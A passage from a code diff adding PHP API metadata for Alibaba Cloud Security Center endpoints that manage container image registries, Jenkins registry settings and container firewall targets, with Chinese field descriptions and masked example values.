**1**：是', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'AllTargetCount' => [ + 'description' => '镜像仓总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '25', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'A4EB8B1C-1DEC-5E18-BCD0-D1BBB3936FA7', + ], + 'AddTargetCount' => [ + 'description' => '接入镜像仓数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'DelTargetCount' => [ + 'description' => '排除镜像仓数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '5', + ], + 'PageInfo' => [ + 'description' => '分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页显示的统计信息的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '镜像仓总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '83', + ], + 'Count' => [ + 'description' => '分页查询时，当前页显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + ], + ], + 'ImageRepoList' => [ + 'description' => '镜像仓库的信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '镜像仓库的信息。', + 'type' => 'object', + 'properties' => [ + 'Flag' => [ + 'description' => '防御是否对该镜像仓生效。取值：'."\n" + ."\n" + .'- **add**：生效'."\n" + .'- **del**：不生效', + 'type' => 'string', + 'example' => 'add', + ], + 'RepoName' => [ + 'description' => '容器镜像仓库的名称。', + 'type' => 'string', + 'example' => 'zeus', + ], + 'RepoNamespace' => [ + 'description' => '容器镜像仓库的命名空间。', + 'type' => 'string', + 'example' => 'sas-script', + ], + 'ImageCount' => [ + 'description' => '镜像数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"AllTargetCount\\": 25,\\n \\"RequestId\\": \\"A4EB8B1C-1DEC-5E18-BCD0-D1BBB3936FA7\\",\\n \\"AddTargetCount\\": 20,\\n \\"DelTargetCount\\": 5,\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 83,\\n \\"Count\\": 2\\n },\\n \\"ImageRepoList\\": [\\n {\\n \\"Flag\\": \\"add\\",\\n \\"RepoName\\": \\"zeus\\",\\n \\"RepoNamespace\\": \\"sas-script\\",\\n \\"ImageCount\\": 1\\n }\\n ]\\n}","type":"json"}]', + 'title' => '获取镜像防御开关配置统计信息', + ], + 'CreateJenkinsImageRegistry' => [ + 'summary' => '创建 jenkins 镜像仓（token）。', + 'methods' => [ + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'create', + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'RegistryName', + 'in' => 'formData', + 'schema' => [ + 'title' => '镜像仓别名', + 'description' => '镜像仓别名。', + 'type' => 'string', + 'required' => false, + 'example' => 'testRepo', + ], + ], + [ + 'name' => 'RegistryType', + 'in' => 'formData', + 'schema' => [ + 'title' => '容器镜像服务类型 harbor，quory', + 'description' => '镜像仓库类型。取值：'."\n" + ."\n" + .'- **CI/CD**：jenkins环境', + 'type' => 'string', + 'required' => false, + 'example' => 'CI/CD', + ], + ], + [ + 'name' => 'RegistryVersion', + 'in' => 'formData', + 'schema' => [ + 'title' => '私有库版本', + 'description' => '镜像仓版本，默认值"-"。取值：'."\n" + ."\n" + .'- **\\-**：默认'."\n" + .'- **V1**：1.0版本'."\n" + .'- **V2**：2.0版本', + 'type' => 'string', + 'required' => false, + 'example' => 'V1', + ], + ], + [ + 'name' => 'ProtocolType', + 'in' => 'formData', + 'schema' => [ + 'title' => '协议类型 1：http 2:https', + 'description' => '协议类型。取值：'."\n" + .'- **1**：http'."\n" + .'- **2**：https', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'NetType', + 'in' => 'formData', + 'schema' => [ + 'title' => '网络类型 1：公网 2：vpc', + 'description' => '网络类型。取值：'."\n" + .'- **1**：公网'."\n" + .'- **2**：vpc', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'VpcId', + 'in' => 'formData', + 'schema' => [ + 'title' => 'vpcId 类型', + 'description' => 'VPC的实例ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'vpc-2ze4aoqgeu51ydfb8****', + ], + ], + [ + 'name' => 'RegistryHostIp', + 'in' => 'formData', + 'schema' => [ + 'title' => '主机Ip地址', + 'description' => '仓库IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '114.55.XXX.XXX', + ], + ], + [ + 'name' => 'DomainName', + 'in' => 'formData', + 'schema' => [ + 'title' => '主机域名', + 'description' => '仓库域名。', + 'type' => 'string', + 'required' => false, + 'example' => 'example.com', + ], + ], + [ + 'name' => 'UserName', + 'in' => 'formData', + 'schema' => [ + 'title' => '用户名', + 'description' => '用户名。', + 'type' => 'string', + 'required' => false, + 'example' => 'RegistryUser', + ], + ], + [ + 'name' => 'Password', + 'in' => 'formData', + 'schema' => [ + 'title' => '密码', + 'description' => '密码。', + 'type' => 'string', + 'required' => false, + 'example' => 'Harbor********', + ], + ], + [ + 'name' => 'RegionId', + 'in' => 'formData', + 'schema' => [ + 'title' => '镜像仓库所在的regionId', + 'description' => '仓库地域ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'cn-shanghai', + ], + ], + [ + 'name' => 'WhiteList', + 'in' => 'formData', + 'schema' => [ + 'title' => '白名单', + 'description' => '网络IP白名单。', + 'type' => 'string', + 'required' => false, + 'example' => '192.168.XXX.XXX', + ], + ], + [ + 'name' => 'TransPerHour', + 'in' => 'formData', + 'schema' => [ + 'title' => '每小时扫描的镜像数', + 'description' => '每小时扫描的镜像数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '30', + ], + ], + [ + 'name' => 'ExtraParam', + 'in' => 'formData', + 'schema' => [ + 'title' => '镜像仓库附加参数', + 'description' => '镜像仓库附加参数。包含：'."\n" + ."\n" + .'- **namespace**：命名空间'."\n" + .'- **authToken**：授权token', + 'type' => 'string', + 'required' => false, + 'example' => '[{\\"namespace\\":\\"aa\\",\\"authToken\\":\\"aa\\"}]', + ], + ], + [ + 'name' => 'PersistenceDay', + 'in' => 'formData', + 'schema' => [ + 'title' => '资产有效天数', + 'description' => '资产有效天数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '30', + ], + ], + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '41.121.XXX.XXX', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'PlainResult', + 'description' => '仓库创建结果。', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '仓库创建结果。', + 'type' => 'object', + 'properties' => [ + 'Id' => [ + 'title' => '唯一ID', + 'description' => '唯一ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '443496', + ], + 'GmtCreate' => [ + 'title' => '创建日期', + 'description' => '创建时间，格式为yyyy-MM-dd HH:mm:ss。', + 'type' => 'string', + 'example' => '2022-10-16 18:17:16', + ], + 'GmtModified' => [ + 'title' => '更改日期', + 'description' => '更新时间，格式为yyyy-MM-dd HH:mm:ss。', + 'type' => 'string', + 'example' => '2022-11-21 10:40:01', + ], + 'RegistryName' => [ + 'title' => '镜像仓库别名', + 'description' => '镜像仓库别名。', + 'type' => 'string', + 'example' => 'fanyi', + ], + 'RegistryType' => [ + 'title' => '容器镜像服务类型 harbor，quory', + 'description' => '镜像仓库类型。取值：'."\n" + ."\n" + .'- **CI/CD**：jenkins环境', + 'type' => 'string', + 'example' => 'CI/CD', + ], + 'ProtocolType' => [ + 'title' => '协议类型 1：http 2:https', + 'description' => '协议类型。取值：'."\n" + .'- **1**：http'."\n" + .'- **2**：https', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'NetType' => [ + 'title' => '网络类型 1：公网 2：vpc', + 'description' => '网络类型。取值：'."\n" + .'- **1**：公网'."\n" + .'- **2**：vpc', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'VpcId' => [ + 'title' => 'vpcId', + 'description' => 'VPC的实例ID。', + 'type' => 'string', + 'example' => 'vpc-2vchkxmf2j9yjt3x2****', + ], + 'RegistryHostIp' => [ + 'title' => '主机Ip地址', + 'description' => '仓库IP地址。', + 'type' => 'string', + 'example' => '1.13.XXX.XXX', + ], + 'DomainName' => [ + 'title' => '域名', + 'description' => '仓库域名。', + 'type' => 'string', + 'example' => 'example.com', + ], + 'UserName' => [ + 'title' => '用户名', + 'description' => '用户名。', + 'type' => 'string', + 'example' => 'RegistryUser', + ], + 'Password' => [ + 'title' => '密码', + 'description' => '密码。', + 'type' => 'string', + 'example' => 'Harbor******', + ], + 'RegionId' => [ + 'title' => '镜像仓库所在的regionId', + 'description' => '仓库地域ID。', + 'type' => 'string', + 'example' => 'cn-shanghai', + ], + 'Token' => [ + 'title' => 'token 用户的唯一标识', + 'description' => '用户鉴权令牌。', + 'type' => 'string', + 'example' => '3c3c602c-fa1f-4bc0-992f-b4b2cac7****', + ], + 'WhiteList' => [ + 'title' => '白名单', + 'description' => '白名单。', + 'type' => 'string', + 'example' => '192.168.XXX.XXX', + ], + 'BlackList' => [ + 'title' => '黑名单', + 'description' => '黑名单。', + 'type' => 'string', + 'example' => '61.9.XXX.XXX', + ], + 'TransPerHour' => [ + 'title' => '每小时扫描任务数', + 'description' => '每小时扫描任务数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '30', + ], + 'PersistenceDay' => [ + 'title' => '资产保存天数', + 'description' => '资产保存天数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '30', + ], + ], + ], + 'RequestId' => [ + 'description' => '本次请求的ID。', + 'type' => 'string', + 'example' => '1AF1E723-53F1-55BF-A4B2-15CB7A32****', + ], + 'HttpStatusCode' => [ + 'description' => 'HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + 'TimeCost' => [ + 'description' => '创建花费的时间，单位为秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"Id\\": 443496,\\n \\"GmtCreate\\": \\"2022-10-16 18:17:16\\",\\n \\"GmtModified\\": \\"2022-11-21 10:40:01\\",\\n \\"RegistryName\\": \\"fanyi\\",\\n \\"RegistryType\\": \\"CI/CD\\",\\n \\"ProtocolType\\": 1,\\n \\"NetType\\": 1,\\n \\"VpcId\\": \\"vpc-2vchkxmf2j9yjt3x2****\\",\\n \\"RegistryHostIp\\": \\"1.13.XXX.XXX\\",\\n \\"DomainName\\": \\"example.com\\",\\n \\"UserName\\": \\"RegistryUser\\",\\n \\"Password\\": \\"Harbor******\\",\\n \\"RegionId\\": \\"cn-shanghai\\",\\n \\"Token\\": \\"3c3c602c-fa1f-4bc0-992f-b4b2cac7****\\",\\n \\"WhiteList\\": \\"192.168.XXX.XXX\\",\\n \\"BlackList\\": \\"61.9.XXX.XXX\\",\\n \\"TransPerHour\\": 30,\\n \\"PersistenceDay\\": 30\\n },\\n \\"RequestId\\": \\"1AF1E723-53F1-55BF-A4B2-15CB7A32****\\",\\n \\"HttpStatusCode\\": 200,\\n \\"TimeCost\\": 1\\n}","type":"json"}]', + 'title' => '创建 jenkins 镜像仓（token）', + ], + 'PageImageRegistry' => [ + 'summary' => '查询镜像仓库列表。', + 'methods' => [ + 'post', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'RegistryTypeInList', + 'in' => 'formData', + 'style' => 'repeatList', + 'schema' => [ + 'title' => '镜像仓类型in', + 'description' => '镜像仓类型列表。', + 'type' => 'array', + 'items' => [ + 'description' => '镜像仓类型。取值：'."\n" + ."\n" + .'- **acr**：ACR'."\n" + .'- **harbor**：Harbor'."\n" + .'- **quay**：Quay'."\n" + .'- **CI/CD**：Jenkins', + 'type' => 'string', + 'required' => false, + 'example' => 'acr', + ], + 'required' => false, + 'maxItems' => 10, + ], + ], + [ + 'name' => 'RegistryTypeNotInList', + 'in' => 'formData', + 'style' => 'repeatList', + 'schema' => [ + 'title' => '镜像仓类型not in', + 'description' => '不包含的镜像仓类型列表。', + 'type' => 'array', + 'items' => [ + 'description' => '镜像仓类型。取值：'."\n" + ."\n" + .'- **acr**：ACR'."\n" + .'- **harbor**：Harbor'."\n" + .'- **quay**：Quay'."\n" + .'- **CI/CD**：Jenkins', + 'type' => 'string', + 'required' => false, + 'example' => 'quay', + ], + 'required' => false, + 'maxItems' => 10, + ], + ], + [ + 'name' => 'RegistryNameLike', + 'in' => 'formData', + 'schema' => [ + 'title' => '镜像仓名称', + 'description' => '镜像仓名称，模糊匹配。', + 'type' => 'string', + 'required' => false, + 'example' => 'asa', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'formData', + 'schema' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'formData', + 'schema' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。默认值为20。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '140.207.XXX.XXX', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'PageResult', + 'description' => '镜像仓列表数据。', + 'type' => 'object', + 'properties' => [ + 'List' => [ + 'description' => '镜像仓列表数据。', + 'type' => 'array', + 'items' => [ + 'description' => '镜像仓列表数据。', + 'type' => 'object', + 'properties' => [ + 'Id' => [ + 'title' => '唯一ID', + 'description' => '镜像仓唯一ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1078312', + ], + 'GmtCreate' => [ + 'title' => '创建日期', + 'description' => '创建时间，格式为yyyy-MM-dd HH:mm:ss。', + 'type' => 'string', + 'example' => '2022-08-30 10:23:30', + ], + 'GmtModified' => [ + 'title' => '更改日期', + 'description' => '更新时间，格式为yyyy-MM-dd HH:mm:ss。', + 'type' => 'string', + 'example' => '2022-09-30 10:23:30', + ], + 'RegistryName' => [ + 'title' => '镜像仓库别名', + 'description' => '镜像仓库别名。', + 'type' => 'string', + 'example' => 'test1', + ], + 'RegistryType' => [ + 'title' => '容器镜像服务类型 harbor，quory', + 'description' => '镜像仓类型。取值：'."\n" + ."\n" + .'- **acr**：ACR'."\n" + .'- **harbor**：Harbor'."\n" + .'- **quay**：Quay'."\n" + .'- **CI/CD**：Jenkins', + 'type' => 'string', + 'example' => 'harbor', + ], + 'ProtocolType' => [ + 'title' => '协议类型 1：http 2:https', + 'description' => '协议类型。取值：'."\n" + .'- **1**：http'."\n" + .'- **2**：https', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'NetType' => [ + 'title' => '网络类型 1：公网 2：vpc', + 'description' => '网络类型。取值：'."\n" + .'- **1**：公网'."\n" + .'- **2**：vpc', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'VpcId' => [ + 'title' => 'vpcId', + 'description' => 'VPC的实例ID。', + 'type' => 'string', + 'example' => 'vpc-5gu8iu68w9b472jbb****', + ], + 'RegistryHostIp' => [ + 'title' => '主机Ip地址', + 'description' => '仓库IP地址。', + 'type' => 'string', + 'example' => '39.104.XXX.XXX', + ], + 'DomainName' => [ + 'title' => '域名', + 'description' => '仓库域名。', + 'type' => 'string', + 'example' => 'sinochem.com', + ], + 'UserName' => [ + 'title' => '用户名', + 'description' => '用户名。', + 'type' => 'string', + 'example' => 'RegistryUser', + ], + 'Password' => [ + 'title' => '密码', + 'description' => '密码。', + 'type' => 'string', + 'example' => 'Harbor******', + ], + 'RegionId' => [ + 'title' => '镜像仓库所在的regionId', + 'description' => '仓库地域ID。', + 'type' => 'string', + 'example' => 'cn-hangzhou', + ], + 'Token' => [ + 'title' => 'token 用户的唯一标识', + 'description' => '用户鉴权令牌。', + 'type' => 'string', + 'example' => 'c7b90d29-632f-4e58-88b8-00ad77f6****', + ], + 'WhiteList' => [ + 'title' => '白名单', + 'description' => '白名单。', + 'type' => 'string', + 'example' => '192.168.XXX.XXX', + ], + 'BlackList' => [ + 'title' => '黑名单', + 'description' => '黑名单。', + 'type' => 'string', + 'example' => '129.211.XXX.XXX', + ], + 'TransPerHour' => [ + 'title' => '每小时扫描任务数', + 'description' => '每小时扫描任务数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '30', + ], + 'PersistenceDay' => [ + 'title' => '资产保存天数', + 'description' => '资产保存天数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '30', + ], + 'ImageCount' => [ + 'title' => '包含的镜像数量', + 'description' => '包含的镜像数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'JenkinsEnv' => [ + 'description' => 'Jenkins环境信息。', + 'type' => 'string', + 'example' => 'projectInfo', + ], + ], + ], + ], + 'PageInfo' => [ + 'description' => '分页查询时的页面信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '返回数据的总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '69', + ], + 'Count' => [ + 'description' => '当前页显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + ], + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'FDA9E37C-6114-5945-8FF1-E3D4D397****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"List\\": [\\n {\\n \\"Id\\": 1078312,\\n \\"GmtCreate\\": \\"2022-08-30 10:23:30\\",\\n \\"GmtModified\\": \\"2022-09-30 10:23:30\\",\\n \\"RegistryName\\": \\"test1\\",\\n \\"RegistryType\\": \\"harbor\\",\\n \\"ProtocolType\\": 1,\\n \\"NetType\\": 1,\\n \\"VpcId\\": \\"vpc-5gu8iu68w9b472jbb****\\",\\n \\"RegistryHostIp\\": \\"39.104.XXX.XXX\\",\\n \\"DomainName\\": \\"sinochem.com\\",\\n \\"UserName\\": \\"RegistryUser\\",\\n \\"Password\\": \\"Harbor******\\",\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"Token\\": \\"c7b90d29-632f-4e58-88b8-00ad77f6****\\",\\n \\"WhiteList\\": \\"192.168.XXX.XXX\\",\\n \\"BlackList\\": \\"129.211.XXX.XXX\\",\\n \\"TransPerHour\\": 30,\\n \\"PersistenceDay\\": 30,\\n \\"ImageCount\\": 1,\\n \\"JenkinsEnv\\": \\"projectInfo\\"\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 69,\\n \\"Count\\": 20\\n },\\n \\"RequestId\\": \\"FDA9E37C-6114-5945-8FF1-E3D4D397****\\"\\n}","type":"json"}]', + 'title' => '分页查询镜像仓', + ], + 'QueryJenkinsImageRegistryPersistenceDay' => [ + 'summary' => '查询Jenkins镜像仓库镜像保留时长。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'https', + 'http', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '113.83.XXX.XXX', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'PlainResult', + 'description' => '仓库保留时长结果数据。', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '仓库保留时长。单位：天。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '30', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'EA4AC8B7-0C18-5BC1-9DA4-798B3BE4****', + ], + 'HttpStatusCode' => [ + 'description' => 'HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + 'TimeCost' => [ + 'description' => '执行花费的时间。单位：秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": 30,\\n \\"RequestId\\": \\"EA4AC8B7-0C18-5BC1-9DA4-798B3BE4****\\",\\n \\"HttpStatusCode\\": 200,\\n \\"TimeCost\\": 1\\n}","type":"json"}]', + 'title' => '查询Jenkins镜像仓库镜像保留时长', + ], + 'UpdateJenkinsImageRegistryName' => [ + 'summary' => '修改 jenkins 镜像仓库镜像名称。', + 'methods' => [ + 'post', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'update', + ], + 'parameters' => [ + [ + 'name' => 'RegistryId', + 'in' => 'formData', + 'schema' => [ + 'title' => '镜像仓id', + 'description' => '镜像仓ID。'."\n" + .'>调用[PageImageRegistry](~~PageImageRegistry~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '25090', + ], + ], + [ + 'name' => 'RegistryName', + 'in' => 'formData', + 'schema' => [ + 'title' => '保留周期', + 'description' => '镜像仓名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'a0603tk1', + ], + ], + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '121.33.XXX.XXX', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'PlainResult', + 'description' => '请求返回结果。', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '返回结果。取值：'."\n" + .'- **true**：处理成功'."\n" + .'- **false**：处理失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '4347E985-6E64-467B-96EC-30D4EA9E****', + ], + 'HttpStatusCode' => [ + 'description' => 'HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + 'TimeCost' => [ + 'description' => '执行花费的时间。单位：秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": true,\\n \\"RequestId\\": \\"4347E985-6E64-467B-96EC-30D4EA9E****\\",\\n \\"HttpStatusCode\\": 200,\\n \\"TimeCost\\": 1\\n}","type":"json"}]', + 'title' => '修改 jenkins 镜像仓库镜像名称', + ], + 'UpdateJenkinsImageRegistryPersistenceDay' => [ + 'summary' => '修改 jenkins 镜像仓库镜像保留时长。', + 'methods' => [ + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'update', + ], + 'parameters' => [ + [ + 'name' => 'RegistryId', + 'in' => 'formData', + 'schema' => [ + 'title' => '镜像仓id', + 'description' => '镜像仓ID。'."\n" + .'>调用[PageImageRegistry](~~PageImageRegistry~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '25363', + ], + ], + [ + 'name' => 'PersistenceDay', + 'in' => 'formData', + 'schema' => [ + 'title' => '保留周期', + 'description' => '保留周期。单位：天。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '30', + ], + ], + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '106.11.XXX.XXX', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'PlainResult', + 'description' => '请求返回结果。', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '处理结果。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '69F88BA1-004C-51E2-BF5C-A3220E5A****', + ], + 'HttpStatusCode' => [ + 'description' => 'HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + 'TimeCost' => [ + 'description' => '执行花费的时间。单位：秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": true,\\n \\"RequestId\\": \\"69F88BA1-004C-51E2-BF5C-A3220E5A****\\",\\n \\"HttpStatusCode\\": 200,\\n \\"TimeCost\\": 1\\n}","type":"json"}]', + 'title' => '修改 jenkins 镜像仓库镜像保留时长', + ], + 'GetInterceptionTargetDetail' => [ + 'summary' => '查询微隔离（容器防火墙）防护的网络对象详情。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'TargetId', + 'in' => 'query', + 'schema' => [ + 'description' => '网络对象ID。'."\n" + .'>您可以调用[ListInterceptionTargetPage](~~ListInterceptionTargetPage~~)接口获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '402008', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'D65AADFC-1D20-5A6A-8F6A-9FA53C0DC1F8', + ], + 'RuleTarget' => [ + 'description' => '接口调用返回的详细信息。', + 'type' => 'object', + 'properties' => [ + 'AppName' => [ + 'description' => '指定网络对象包含的应用名称。', + 'type' => 'string', + 'example' => 'netperf-client', + ], + 'ImageList' => [ + 'description' => '指定网络对象包含的镜像列表。', + 'type' => 'array', + 'items' => [ + 'description' => '镜像信息。', + 'type' 